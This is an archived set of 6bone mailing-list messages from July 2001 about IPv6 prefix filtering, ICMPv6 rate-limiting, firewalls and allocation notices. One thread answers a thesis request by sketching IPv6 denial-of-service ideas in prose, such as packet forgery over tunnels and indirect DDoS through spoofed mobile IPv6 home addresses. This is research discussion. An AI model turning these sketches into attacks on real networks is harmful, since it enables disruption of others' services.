----------------------------------------------------------------------

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From: Robert Elz <kre@munnari.OZ.AU>
To: "Pavel Satrapa" <Pavel.Satrapa@vslib.cz>
cc: 6bone@ISI.EDU
Subject: Re: Filtering prefixes longer than /24 
In-Reply-To: <E0F8FE169A5@tyto.vslib.cz> 
References: <E0F8FE169A5@tyto.vslib.cz> 
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    Date:        Wed, 11 Jul 2001 09:30:04 +0200
    From:        "Pavel Satrapa" <Pavel.Satrapa@vslib.cz>
    Message-ID:  <E0F8FE169A5@tyto.vslib.cz>

  | But the real SubTLA prefixes assigned by RIPE NCC (and probably by
  | other registries too) are /35 :-(  It looks like the production IPv6
  | network will be aggregated at the /35 level.

Sure, but there's also supposed to be a higher level of aggregation at
the /16 level, isn't there?

kre


From 6bone-owner  Wed Jul 11 02:31:17 2001
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From: "Robert J. Rockell" <rrockell@sprint.net>
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To: Pekka Savola <pekkas@netcore.fi>
cc: itojun@iijlab.net, 6bone@ISI.EDU
Subject: Re: Filtering prefixes longer than /24 
In-Reply-To: <Pine.LNX.4.33.0107092209140.9778-100000@netcore.fi>
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I know of networks other than my own that are running over 200,000 routes
currently (granted, probably not optimal).

The table size is not onlyk a memory issue, but a forwarding ASIC issue that
needs consideration.  I would argue (and here comes a giant thread) that a
TCP enhancement/re-write with renumbering may provide the scale people want,
without putting the burden on the mtrie.

Thanks
Rob Rockell
Principal Engineer
SprintLink Europe/Asia
703-689-6322
Sprint E|Solutions: Thinking outside the 435 box
-----------------------------------------------------------------------

On Mon, 9 Jul 2001, Pekka Savola wrote:

->On Mon, 9 Jul 2001, Robert J. Rockell wrote:
->> If this makes multi-homing difficult, or the like; that is sort of the
->> point. This is all supposed to be aggregatable at the most fundamental
->> levels, thus putting a top limit on the number of non-customer routes a TLA
->> will have to carry. Violating this just adds factors of 2 to the routing
->> table size, in theoretical limit.  I agree there is problems, specifically
->> in multi-homing.  The goal was to fix the problems with multi-homing, and
->> this was a good way to bring the problems out.  IMHO, I don't want to fix
->> the symptoms.
->
->This might lead to a trend where organizations not really needing pTLA
->assignment apply for one, instead of getting a fragment from an existing
->pTLA -- if this is the only way to avoid multihoming considerations.  I'm
->not sure about the multihoming status, but I don't think it's really
->scales up to 6bone /32's and the like, connecting dozens of sites which
->would also need to multihome or renumber -- the maximum unit is a /48 site
->at most I think.
->
->Ie. this probably leads to an increase of pTLA or equivalent
->"non-filtered" organizations which may not be good from the aggregation
->point of view either.
->
->The scaling of IPv6 wrt. routing table size is IMO a big non-issue; a
->remnant from the '95 when people started to get worried about the growth
->of DFZ.
->
->Nowadays 100,000 routes is no big deal.  Any "core" router which should be
->able to get full internet table can deal with this without problems.  You
->shouldn't be participating with your old 4500 Cisco with 16 MB of memory.
->Thus, I don't see what's the point of trying to minimize the size with all
->costs.
->
->Currently, the effectively changing IPv6 prefix size is smaller than with
->IPv4, and the population of it going to be sparser.  Also remember a big
->problem of current IPv4 routing table size are small advertisements,
->like /24 and /23 -- with IPv6 these are all within one /48, and are thus
->automatically very effectively aggregated.
->
->
->What's more worrying is complete fragmentation wrt. RIR allocations.
->Suppose all dial-up's and DSL's etc. are all given /48 as IESG requires.
->In effect, this requires RIR's take back (or assign new ones) all the
->current /35 allocations, and use a much sparser mode, like:
->
->really huge ISP's: /16
->basic block for an ISP participating in DFZ: /24
->smaller ISP: /32
->small ISP: /40
->site: /48
->
->Without this, the current scheme is bound for disaster, and not because of
->someone is filtering a little longer than /24 when /24 is a basic
->allocation.
->
->> If you are announcing
->> pTLA A's /32 to pTLA B, and this caused a problem when you moved, then you
->> have violated rfc2772 already.
->
->This is the case, but I fail to see the big problem with this.
->
->In a "perfect world", organizations in this situation would renumber, use
->multihoming or whatever; in real world both are diffcult and the problem
->is avoided by getting a pTLA on your own.
->
->-- 
->Pekka Savola                 "Tell me of difficulties surmounted,
->Netcore Oy                   not those you stumble over and fall"
->Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords
->
->


From 6bone-owner  Wed Jul 11 02:47:00 2001
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Subject: Re: Filtering prefixes longer than /24 
From: Jun-ichiro itojun Hagino <itojun@iijlab.net>
Date: Wed, 11 Jul 2001 18:43:34 +0900
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>The table size is not onlyk a memory issue, but a forwarding ASIC issue that
>needs consideration.  I would argue (and here comes a giant thread) that a
>TCP enhancement/re-write with renumbering may provide the scale people want,
>without putting the burden on the mtrie.

	we may need sctp sooner...?

itojun

From 6bone-owner  Wed Jul 11 06:58:19 2001
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Date: Wed, 11 Jul 2001 16:58:17 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: Pavel Satrapa <Pavel.Satrapa@vslib.cz>
cc: <6bone@ISI.EDU>
Subject: Re: Filtering prefixes longer than /24 
In-Reply-To: <E0F8FE169A5@tyto.vslib.cz>
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On Wed, 11 Jul 2001, Pavel Satrapa wrote:
> > But the point of the 6bone is to be able to test the real (full scale)
> > environment.   That means sites not advertising private prefixes, no
>
> Clear. But the real SubTLA prefixes assigned by RIPE NCC (and probably by
> other registries too) are /35 :-(  It looks like the production IPv6
> network will be aggregated at the /35 level.

Luckily enough, if you look at the assigments, you can see that RIR's are
reserving everyone basically a /25 but giving out only 1/1024th of that
now...

Too bad they wouldn't "reserve" /24 which would have been on the nibble
boundary; on the other hand, then RIR's would have to have been real
stingy about who they're allocating to; only 256 candidates, and little
room for expansion.  Currently there are less than 100, and some are ones
that should not have been given one IMO; however, I'm of the opinion not
every local ISP should be given one anyway..

Now it won't matter, but it _will_ once after ISP's start doing dialup and
dsl over IPv6 in a more widespread fashion (in a two years, perhaps).

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From 6bone-owner  Wed Jul 11 19:17:32 2001
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From: "KRNIC Hostmaster" <hostmast@nic.or.kr>
To: "Robert Elz" <kre@munnari.OZ.AU>, "Pavel Satrapa" <Pavel.Satrapa@vslib.cz>
Cc: <6bone@ISI.EDU>, <ipv6-members@ipv6.or.kr>
References: <E0F8FE169A5@tyto.vslib.cz>  <7468.994840275@brandenburg.cs.mu.OZ.AU>
Subject: Re: Filtering prefixes longer than /24 
Date: Thu, 12 Jul 2001 11:07:15 +0900
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Dear all,

This is Yong Wan Ju at KRNIC, one of National Internet Registries, under APNIC.
Regarding your mail,

>   | But the real SubTLA prefixes assigned by RIPE NCC (and probably by
>   | other registries too) are /35 :-(  It looks like the production IPv6
>   | network will be aggregated at the /35 level.

All RIRs such as RIPE NCC, ARIN & APNIC have allocated /35 to Sub-TLA
registry based on slow-start mechanism but actually /29 are reserved for
that Sub-TLA regsitry.
Therefore, in the intial stage, It looks like the production IPv6 network will be
aggregated at the level between /35 and /29.

> Sure, but there's also supposed to be a higher level of aggregation at
> the /16 level, isn't there?

Maybe, after initial stage, it would be possible.
But who knows that ......

Have a nice day !!!




From 6bone-owner  Tue Jul 17 11:24:09 2001
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From: "Todd Whipple" <whipple@zama.net>
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Zama is pleased to announce 2 new services, IPv6 Tunnel Broker and a 6to4 
relay.  Please visit our web site at www.zamanetworks.com to find out more 
information about these two services.

For those with an OS capable to handle 6to4, point your 6to4 configuration 
to 6to4.zama6.com.

We have also added an IPv6 FAQ to our site to answer the basic questions 
about IPv6.  Hope you all find this information useful.

Enjoy

Todd Whipple
VP of IPv6 Technologies
Zama Networks, Inc.
Seattle, Wa 


From 6bone-owner  Tue Jul 17 11:55:00 2001
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Date: Tue, 17 Jul 2001 21:55:01 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: <6bone@ISI.EDU>
Subject: Inflexible ICMP6 Error-limiting Considered Harmful
Message-ID: <Pine.LNX.4.33.0107171914580.28235-100000@netcore.fi>
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Hello all,

Current Cisco IOS (12.2(2)T, and previous betas) rate-limit all icmp6
error messages (including time exceeded and port unreachable) by default.
The default _interval_ between error of any two messages is 500 msec.

I guess this was added as a security measure (you can still pingflood the
router without limits, though!), or to provide maximum CPU power to actual
packet forwarding (I'd rather save the 0.1% for the system..).

Unfortunately, this breaks traceroute pretty badly; I think the huge
timeouts now associated with IPv6 do not paint a good picture about the
reliability (even though the reality may be different).  For example,
tracerouting from a looking glass [http://www.ipv6.euronet.be/looking/]:

 1  gate.ipv6.wanadoo.be (3ffe:8100:200:1fff::1)  1.736 ms *  1.927 ms
 2  2001:658:0:1::1 (2001:658:0:1::1)  62.505 ms *  70.661 ms
 3  2001:680:0:1::10 (2001:680:0:1::10)  72.154 ms *  71.249 ms
 4  2001:680:0:1::3 (2001:680:0:1::3)  109.85 ms *  103.641 ms
 5  ipv6.netcore.fi (2001:670:86::1)  153.934 ms  113.085 ms  115.128 ms

Wonder which ones are Ciscos? That's right.

I just love demonstrating IPv6 to people when something like this
has been happening for years now..

Of course, this can be "fixed" by disabling the rate-limiting
completely with:

ipv6 icmp error-interval 0

(smaller values than 500, like 50 equally break traceroute for high-speed
connectivity)

Real fix would be to implement _error-rate_, in addition to
_error-interval_ (with sane defaults).  For example, if sampling period
would be 100 ms and it would be acceptable to have 5 _packets_ per period,
the potential denial of service attacks would be prevented but the
traceroute, etc. functionality would still work.

</rant>

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From 6bone-owner  Wed Jul 18 08:48:22 2001
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Subject: Re: Inflexible ICMP6 Error-limiting Considered Harmful 
From: itojun@iijlab.net
Date: Thu, 19 Jul 2001 00:48:17 +0900
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	this portion is implementation-dependent (as described in RFC2463) so
	noone is right and noone is wrong, but...

>Real fix would be to implement _error-rate_, in addition to
>_error-interval_ (with sane defaults).  For example, if sampling period
>would be 100 ms and it would be acceptable to have 5 _packets_ per period,
>the potential denial of service attacks would be prevented but the
>traceroute, etc. functionality would still work.

	during KAME development process, it was found that error interval
	limitation is not a good way.  we now impose "maximum N outgoing
	icmp6 per second" (packet-per-second) limitation, which works quite
	well.

itojun

From 6bone-owner  Wed Jul 18 08:50:27 2001
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To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:8260::/28 allocated to COMPENDIUM-AR
Cc: Bill Manning <bmanning@ISI.EDU>, horape@tinuviel.compendium.net.ar
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COMPENDIUM-AR in Argentina has been allocated pTLA 3FFE:8260::/28 having 
finished its 2-week review period.

<http://whois.6bone.net/cgi-bin/whois?COMPENDIUM-AR>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


Thanks,

Bob


From 6bone-owner  Wed Jul 18 23:44:59 2001
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Date: 	Thu, 19 Jul 2001 09:45:00 +0300 (EEST)
From: Mika Kristian Muller <mmuller@niksula.hut.fi>
To: 6bone@ISI.EDU
Subject: DoS against IPv6?
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I'm writing a thesis about DoS/DDoS methods against IPv6/IPsec.

If anyone knows any previous papers about subject, especially if they
contain DoS-attacks in theory, but haven't implemented them, I could use
those as references. I allready have some ICMPv6 attacks documented, but
I need still more and other types.

-Mika


From 6bone-owner  Thu Jul 19 01:08:54 2001
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To: Mika Kristian Muller <mmuller@niksula.hut.fi>
Cc: 6bone@ISI.EDU
In-reply-to: mmuller's message of Thu, 19 Jul 2001 09:45:00 +0300.
      <Pine.GSO.4.20.0107190941480.26227-100000@flood.cs.hut.fi> 
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Subject: Re: DoS against IPv6? 
From: itojun@iijlab.net
Date: Thu, 19 Jul 2001 17:08:57 +0900
Message-ID: <21952.995530137@itojun.org>
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>I'm writing a thesis about DoS/DDoS methods against IPv6/IPsec.
>
>If anyone knows any previous papers about subject, especially if they
>contain DoS-attacks in theory, but haven't implemented them, I could use
>those as references. I allready have some ICMPv6 attacks documented, but
>I need still more and other types.

	i have never seen IPv6 DDoS papers/whatever, but there are a couple
	of interesting ones.

	abuse tools:

	there was a tool to forge packets that cross IPv6-over-IPv4 tunnel,
	and lets bad guys inject any IPv6 traffic into the 6bone without
	revealing identity.  this could be used as a starting point for DoS.

	DoS possibility due to spec twist:

	http://www.securityfocus.com/templates/archive.pike?threads=1&list=1&start=2001-06-24&mid=193046&fromthread=1&end=2001-06-30&
	draft-ietf-ipngwg-p2p-pingpong-00.txt
	draft-itojun-ipv6-transition-abuse-01.txt

itojun

From 6bone-owner  Thu Jul 19 04:04:38 2001
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Date: Thu, 19 Jul 2001 15:05:04 +0400
From: Anatoly Pugachev <mator@gsib.ru>
To: 6bone@ISI.EDU
Subject: Re: DoS against IPv6?
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On Thu, Jul 19, 2001 at 09:45:00AM +0300, Mika Kristian Muller wrote:
> I'm writing a thesis about DoS/DDoS methods against IPv6/IPsec.
> 
> If anyone knows any previous papers about subject, especially if they
> contain DoS-attacks in theory, but haven't implemented them, I could use
> those as references. I allready have some ICMPv6 attacks documented, but
> I need still more and other types.

something - http://www.antioffline.com/stoppingdos.html

From 6bone-owner  Thu Jul 19 04:40:16 2001
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From: "Zhao Zhaolin" <zzl@mail.ndsc.com.cn>
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From 6bone-owner  Thu Jul 19 05:08:42 2001
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From: Pekka Savola <pekkas@netcore.fi>
To: Mika Kristian Muller <mmuller@mail.niksula.cs.hut.fi>
cc: <itojun@iijlab.net>, <6bone@ISI.EDU>
Subject: Re: DoS against IPv6? 
In-Reply-To: <21952.995530137@itojun.org>
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On Thu, 19 Jul 2001 itojun@iijlab.net wrote:
> >I'm writing a thesis about DoS/DDoS methods against IPv6/IPsec.
> >
> >If anyone knows any previous papers about subject, especially if they
> >contain DoS-attacks in theory, but haven't implemented them, I could use
> >those as references. I allready have some ICMPv6 attacks documented, but
> >I need still more and other types.
>
> 	i have never seen IPv6 DDoS papers/whatever, but there are a couple
> 	of interesting ones.
>
> 	abuse tools:
>
> 	there was a tool to forge packets that cross IPv6-over-IPv4 tunnel,
> 	and lets bad guys inject any IPv6 traffic into the 6bone without
> 	revealing identity.  this could be used as a starting point for DoS.
>
> 	DoS possibility due to spec twist:
>
> 	http://www.securityfocus.com/templates/archive.pike?threads=1&list=1&start=2001-06-24&mid=193046&fromthread=1&end=2001-06-30&
> 	draft-ietf-ipngwg-p2p-pingpong-00.txt
> 	draft-itojun-ipv6-transition-abuse-01.txt

Also, work-in-progress draft-huitema-shipworm-00.txt (not implemented yet,
just fresh out of the oven..) would allow you to anonymously flood IPv4
UDP ports with encapsulated IPv6 packets.  This might be something to
watch out for in the future.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Thu Jul 19 05:11:54 2001
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: Mika Kristian Muller <mmuller@mail.niksula.cs.hut.fi>
cc: 6bone@ISI.EDU
Subject: Re: DoS against IPv6? 
In-reply-to: Your message of Thu, 19 Jul 2001 09:45:00 +0300.
             <Pine.GSO.4.20.0107190941480.26227-100000@flood.cs.hut.fi> 
Date: Thu, 19 Jul 2001 14:11:46 +0200
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 In your previous mail you wrote:

   I'm writing a thesis about DoS/DDoS methods against IPv6/IPsec.
   
=> with the home address option defined for/by mobile IPv6, you can
build a "nice" indirect DDoS: (I suppose you know how the home address
option works) from a large number of A nodes you send to B nodes requests
(i.e. packets which have to be answered) with the address of C (the target)
in a home address options: B nodes will send replies to C without any
mention of A nodes (so this is an indirect DDoS).

Regards

Francis.Dupont@enst-bretagne.fr

From 6bone-owner  Thu Jul 19 12:04:41 2001
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Subject: Re: Inflexible ICMP6 Error-limiting Considered Harmful
To: itojun@iijlab.net
Date: Thu, 19 Jul 2001 23:04:11 +0400 (MSK DST)
Cc: pekkas@netcore.fi, 6bone@ISI.EDU
In-Reply-To: <10924.995471297@itojun.org> from "itojun@iijlab.net" at Jul 19, 1 00:48:17 am
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Hello!

> >Real fix would be to implement _error-rate_, in addition to
> >_error-interval_ (with sane defaults).  For example, if sampling period
> >would be 100 ms and it would be acceptable to have 5 _packets_ per period,
> >the potential denial of service attacks would be prevented but the
> >traceroute, etc. functionality would still work.
> 
> 	during KAME development process, it was found that error interval
> 	limitation is not a good way.  we now impose "maximum N outgoing
> 	icmp6 per second" (packet-per-second) limitation, which works quite
> 	well.


Right worda are "token bucket filter". And no more words are required
to implement this trivial algorithm.

Alexey

From 6bone-owner  Fri Jul 20 04:13:14 2001
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From: Ole Troan <ot@cisco.com>
Date: 20 Jul 2001 12:13:16 +0100
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yes, the purely interval based mechanism doesn't work too well. we
have implemented a slightly more clever mechanism. should be in the
next beta.

/ot

> Current Cisco IOS (12.2(2)T, and previous betas) rate-limit all icmp6
> error messages (including time exceeded and port unreachable) by default.
> The default _interval_ between error of any two messages is 500 msec.
> 
> I guess this was added as a security measure (you can still pingflood the
> router without limits, though!), or to provide maximum CPU power to actual
> packet forwarding (I'd rather save the 0.1% for the system..).
> 
> Unfortunately, this breaks traceroute pretty badly; I think the huge
> timeouts now associated with IPv6 do not paint a good picture about the
> reliability (even though the reality may be different).  For example,
> tracerouting from a looking glass [http://www.ipv6.euronet.be/looking/]:
> 
>  1  gate.ipv6.wanadoo.be (3ffe:8100:200:1fff::1)  1.736 ms *  1.927 ms
>  2  2001:658:0:1::1 (2001:658:0:1::1)  62.505 ms *  70.661 ms
>  3  2001:680:0:1::10 (2001:680:0:1::10)  72.154 ms *  71.249 ms
>  4  2001:680:0:1::3 (2001:680:0:1::3)  109.85 ms *  103.641 ms
>  5  ipv6.netcore.fi (2001:670:86::1)  153.934 ms  113.085 ms  115.128 ms
> 
> Wonder which ones are Ciscos? That's right.
> 
> I just love demonstrating IPv6 to people when something like this
> has been happening for years now..
> 
> Of course, this can be "fixed" by disabling the rate-limiting
> completely with:
> 
> ipv6 icmp error-interval 0
> 
> (smaller values than 500, like 50 equally break traceroute for high-speed
> connectivity)
> 
> Real fix would be to implement _error-rate_, in addition to
> _error-interval_ (with sane defaults).  For example, if sampling period
> would be 100 ms and it would be acceptable to have 5 _packets_ per period,
> the potential denial of service attacks would be prevented but the
> traceroute, etc. functionality would still work.
> 
> </rant>
> 
> -- 
> Pekka Savola                 "Tell me of difficulties surmounted,
> Netcore Oy                   not those you stumble over and fall"
> Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords

From 6bone-owner  Fri Jul 20 13:21:36 2001
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Subject: IP v6 Security
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Hi!

Have listen to the mails about DOS attacs on IPv6 network.

I have a more general question: Is there any FIREWALL SW for IP v6? Fuego
does not have it, Checkpoint does not state to have any product, Cisco
12.2T is not anything to use on their PICS FW (as far as I have heard).
Have anybody else seen anything around? Have anybody geard ANYTHING about
products in pipeline?

In general, IP v6 fans state security is good in IPv6 due to IPSEC. But
that creates a tunnel between endpoints. Seen from an individual person
viewpoint, I can protect my data transfers and dialogues from being tapped
into. Seen from a Company perspective, Tunnels are not good, unless you
know what is in it. You need some point in the net, in your gate to the
world (Internet or other outside connections), where you can allow/deny
services, based on a company IT Security policy.

I appriciate an answer to my initial question, as it is part of my
professional work. A discussion in general on security, FW´s and tunnels is
also interesting.

BosseN
-----------------------------------------------------------------
AVS:
Bo Nilsö, CSC Sweden, Linköping
Mail: bnilso@csc.com
Phone: +46 (0) 13 465 3631
-------------------------------------------------------------------


From 6bone-owner  Fri Jul 20 17:11:28 2001
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In-reply-to: bnilso's message of Fri, 20 Jul 2001 22:21:23 +0200.
      <OFABD5B7ED.C3367766-ONC1256A8F.006EB28C@eu.csc.com> 
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Subject: Re: IP v6 Security 
From: itojun@iijlab.net
Date: Sat, 21 Jul 2001 09:11:22 +0900
Message-ID: <12533.995674282@itojun.org>
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>I have a more general question: Is there any FIREWALL SW for IP v6? Fuego
>does not have it, Checkpoint does not state to have any product, Cisco
>12.2T is not anything to use on their PICS FW (as far as I have heard).
>Have anybody else seen anything around? Have anybody geard ANYTHING about
>products in pipeline?

	near-future cisco IOS will have access control list (= filters)
	support, I believe.

	if you are okay with free softwares, you can use KAME ip6fw, Darren
	Reed's ipfilter, and maybe some other filters.

itojun

From 6bone-owner  Fri Jul 20 21:11:59 2001
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Date: Fri, 20 Jul 2001 23:14:29 -0400
To: itojun@iijlab.net, "Bo Nilso" <bnilso@csc.com>
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: Re: IP v6 Security 
Cc: 6bone@ISI.EDU
In-Reply-To: <12533.995674282@itojun.org>
References: <bnilso's message of Fri, 20 Jul 2001 22:21:23 +0200. <OFABD5B7ED.C3367766-ONC1256A8F.006EB28C@eu.csc.com>
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At/À 09:11 2001-07-21 +0900, itojun@iijlab.net you wrote/vous écriviez:

> >I have a more general question: Is there any FIREWALL SW for IP v6? Fuego
> >does not have it, Checkpoint does not state to have any product, Cisco
> >12.2T is not anything to use on their PICS FW (as far as I have heard).
> >Have anybody else seen anything around? Have anybody geard ANYTHING about
> >products in pipeline?
>
>         near-future cisco IOS will have access control list (= filters)
>         support, I believe.

- already available,  but standard access list (somewhat limited).
- the roadmap says that next release will have extended access list. but 
this doesn't handle complex security policies with stateful stuff.


>         if you are okay with free softwares, you can use KAME ip6fw, Darren
>         Reed's ipfilter, and maybe some other filters.

ipfilter is better than extended access lists since it handles stateful.

Marc.


>itojun



From 6bone-owner  Sat Jul 21 00:08:18 2001
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Date: Sat, 21 Jul 2001 03:01:45 -0400
From: Scott Prader <gnea@garson.org>
To: 6bone@ISI.EDU
Subject: Re: IP v6 Security
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* Bo Nilso (bnilso@csc.com) uttered:
> Hi!
> 
> Have listen to the mails about DOS attacs on IPv6 network.
> 
> I have a more general question: Is there any FIREWALL SW for IP v6? Fuego
> does not have it, Checkpoint does not state to have any product, Cisco
> 12.2T is not anything to use on their PICS FW (as far as I have heard).
> Have anybody else seen anything around? Have anybody geard ANYTHING about
> products in pipeline?

Yes, in Linux kerne 2.4.* there is iptables extensions for ipv6 as well
as many packages and documentation (it's still growing, but usable..
ping6, traceroute6,tracepath6, etc..

         .oO Gnea [gnea at garson dot com] Oo.
            .oO url [http://gnea.net] Oo.

"You can tune a filesystem, but you can't tune a fish." -Kirk McKusick

From 6bone-owner  Sat Jul 21 06:57:14 2001
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From: Peter Pentchev <roam@orbitel.bg>
To: 6bone@ISI.EDU
Subject: Re: IP v6 Security
Message-ID: <20010721170125.A571@ringworld.oblivion.bg>
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On Sat, Jul 21, 2001 at 03:01:45AM -0400, Scott Prader wrote:
> * Bo Nilso (bnilso@csc.com) uttered:
> > Hi!
> > 
> > Have listen to the mails about DOS attacs on IPv6 network.
> > 
> > I have a more general question: Is there any FIREWALL SW for IP v6? Fuego
> > does not have it, Checkpoint does not state to have any product, Cisco
> > 12.2T is not anything to use on their PICS FW (as far as I have heard).
> > Have anybody else seen anything around? Have anybody geard ANYTHING about
> > products in pipeline?
> 
> Yes, in Linux kerne 2.4.* there is iptables extensions for ipv6 as well
> as many packages and documentation (it's still growing, but usable..
> ping6, traceroute6,tracepath6, etc..

itojun's earlier message in this thread mentioned that KAME has a IPv6
firewall.  Just for the record, the KAME software suite is included
in most recent releases of *BSD, so any recent *BSD system would include
an ip6fw utility.

G'luck,
Peter

-- 
Hey, out there - is it *you* reading me, or is it someone else?

From 6bone-owner  Sat Jul 21 07:56:51 2001
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Subject: Re: IP v6 Security 
From: itojun@iijlab.net
Date: Sat, 21 Jul 2001 23:56:58 +0900
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>itojun's earlier message in this thread mentioned that KAME has a IPv6
>firewall.  Just for the record, the KAME software suite is included
>in most recent releases of *BSD, so any recent *BSD system would include
>an ip6fw utility.

	unfortnately, the above is not correct - every *BSD had different
	packet filters in it, so we could not integrate ip6fw to all of them.
	therefore, *BSD situation with filters are like this:
	- freebsd - ip6fw (yes), and ipfilter (ipv6 support - ??)
	- netbsd - ipfilter (ipv6 support - yes)
	- openbsd - pf (ipv6 support - not yet)
	- bsdi - ipfw (ipv6 support - yes)

itojun

From 6bone-owner  Sat Jul 21 13:20:22 2001
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To: itojun@iijlab.net, Peter Pentchev <roam@orbitel.bg>
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: Re: IP v6 Security 
Cc: 6bone@ISI.EDU
In-Reply-To: <18357.995727418@itojun.org>
References: <roam's message of Sat, 21 Jul 2001 17:01:25 +0300. <20010721170125.A571@ringworld.oblivion.bg>
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At/À 23:56 2001-07-21 +0900, itojun@iijlab.net you wrote/vous écriviez:
> >itojun's earlier message in this thread mentioned that KAME has a IPv6
> >firewall.  Just for the record, the KAME software suite is included
> >in most recent releases of *BSD, so any recent *BSD system would include
> >an ip6fw utility.
>
>         unfortnately, the above is not correct - every *BSD had different
>         packet filters in it, so we could not integrate ip6fw to all of them.
>         therefore, *BSD situation with filters are like this:
>         - freebsd - ip6fw (yes), and ipfilter (ipv6 support - ??)

freebsd - ipfilter - ipv6: confirming: yes it works.

Marc.

>         - netbsd - ipfilter (ipv6 support - yes)
>         - openbsd - pf (ipv6 support - not yet)
>         - bsdi - ipfw (ipv6 support - yes)
>
>itojun



From 6bone-owner  Sun Jul 22 00:17:30 2001
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	http://www.merit.edu/mail.archives/html/6bone-routing-report/
	merit IPv6 routing report seems to be stopped on Mar 2001.
	was it terminated (then thank you for all helps and R.I.P...),
	or just in trouble?

itojun

From 6bone-owner  Sun Jul 22 00:17:44 2001
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Subject: Re: merit 6bone routing report 
From: itojun@iijlab.net
Date: Sun, 22 Jul 2001 16:17:54 +0900
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>	http://www.merit.edu/mail.archives/html/6bone-routing-report/
>	merit IPv6 routing report seems to be stopped on Mar 2001.

	May 2001.

itojun

From 6bone-owner  Sun Jul 22 12:11:51 2001
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Subject: Re: IP v6 Security
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Hi! Thanks for this, and all other replies to my question.

A general question: Will it be harder to build FW´s for IPv6 vs IPv4,
keeping in mind the fact that multiple header concept might make it harder
(slower, cpu-consuming) trying to filter and do stateful inspection, as the
data needed for making descions for each paket is not on an predictable
position within each IP packet ( it depends on how many different headers
that exist in the IP packet. I think it will. Am I wrong?

/BosseN
-----------------------------------------------------------------
AVS:
Bo Nilsö, CSC Sweden, Linköping
Mail: bnilso@csc.com
Phone: +46 (0) 13 465 3631
-------------------------------------------------------------------


                                                                                                                
                    Scott Prader                                                                                
                    <gnea@garson.        To:     6bone@ISI.EDU                                                  
                    org>                 cc:                                                                    
                    Sent by:             Subject:     Re: IP v6 Security                                        
                    owner-6bone@I                                                                               
                    SI.EDU                                                                                      
                                                                                                                
                                                                                                                
                    2001-07-21                                                                                  
                    09:01                                                                                       
                                                                                                                
                                                                                                                




* Bo Nilso (bnilso@csc.com) uttered:
> Hi!
>
> Have listen to the mails about DOS attacs on IPv6 network.
>
> I have a more general question: Is there any FIREWALL SW for IP v6? Fuego
> does not have it, Checkpoint does not state to have any product, Cisco
> 12.2T is not anything to use on their PICS FW (as far as I have heard).
> Have anybody else seen anything around? Have anybody geard ANYTHING about
> products in pipeline?

Yes, in Linux kerne 2.4.* there is iptables extensions for ipv6 as well
as many packages and documentation (it's still growing, but usable..
ping6, traceroute6,tracepath6, etc..

         .oO Gnea [gnea at garson dot com] Oo.
            .oO url [http://gnea.net] Oo.

"You can tune a filesystem, but you can't tune a fish." -Kirk McKusick




From 6bone-owner  Mon Jul 23 00:54:42 2001
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: "Bo Nilso" <bnilso@csc.com>
cc: Scott Prader <gnea@garson.org>, 6bone@ISI.EDU, owner-6bone@ISI.EDU
Subject: Re: IP v6 Security 
In-reply-to: Your message of Sun, 22 Jul 2001 21:11:48 +0200.
             <OFC6F5001C.DD066ACD-ONC1256A91.0068F37A@eu.csc.com> 
Date: Mon, 23 Jul 2001 09:53:48 +0200
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 In your previous mail you wrote:

   A general question: Will it be harder to build FW´s for IPv6 vs IPv4,
   keeping in mind the fact that multiple header concept might make it harder
   (slower, cpu-consuming) trying to filter and do stateful inspection, as the
   data needed for making descions for each paket is not on an predictable
   position within each IP packet ( it depends on how many different headers
   that exist in the IP packet. I think it will. Am I wrong?
   
=> yes and no. The extension header mechanism is easier to use or
to parse/filter than the IPv4 option mechanism, so to filter a IPv6
packet with options is simpler/faster than to filter a IPv4 packet
with options... The real issue is the ratio of packets with options,
this ratio is known to be very low for IPv4, making the IPv4 option
mechanism near useless. The IPv6 extension mechanism is supposed to
fix that so this ratio should be greater for IPv6 and the final result
is not predictable...
My concern about filtering/classifying devices is that CPU speed grows
slower than fiber optic bandwidth: smart (?) processing (i.e. everything
more complex than switching) is becoming more and more hard & expensive
at full fiber speed, perhaps unfeasible if the phenomenon persits...
It is already hard to do more than basic filtering at 1Gbits/s (I know
no commercial product for that).

Regards

Francis.Dupont@enst-bretagne.fr

From 6bone-owner  Tue Jul 24 09:45:16 2001
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To: users@ipv6.org, usagi-users@linux-ipv6.org, 6bone@ISI.EDU, users@ipv6.org,
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From: "Todd Whipple" <whipple@zama.net>
Subject: News server
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Zama Networks is pleased to announced our IPv6 news group service.  The 
news server is open only over IPv6.  To read news, point your IPv6 capable 
news client to news.zamanetworks.com.  The server currently has the big 
eight group hierarchies except for alt.*

Currrently, Netscape 6 and TIN 1.5.8 are IPv6 capable news clients.

Enjoy.  


From 6bone-owner  Tue Jul 24 13:21:43 2001
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Date: Tue, 24 Jul 2001 22:21:33 +0200 (EET)
From: Toomas Soome <tsoome@ut.ee>
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unfortunately:

[196] root@madli:root/kadri> traceroute news.zamanetworks.com
traceroute: Warning: Multiple interfaces found; using
3ffe:200:25:500:a00:20ff:fe83:b3ae @ hme0:2
traceroute to news.zamanetworks.com (2001:2d0:2:1::3007), 30 hops max, 60
byte packets
 1  kadri.ut.ee (3ffe:200:25:500:a00:20ff:fec4:93e3)  1.057 ms  0.630 ms
0.445 ms
 2  ut-gw-v6.ut.ee (3ffe:200:25:f000::c128:167f)  1.599 ms  1.418 ms
1.091 ms
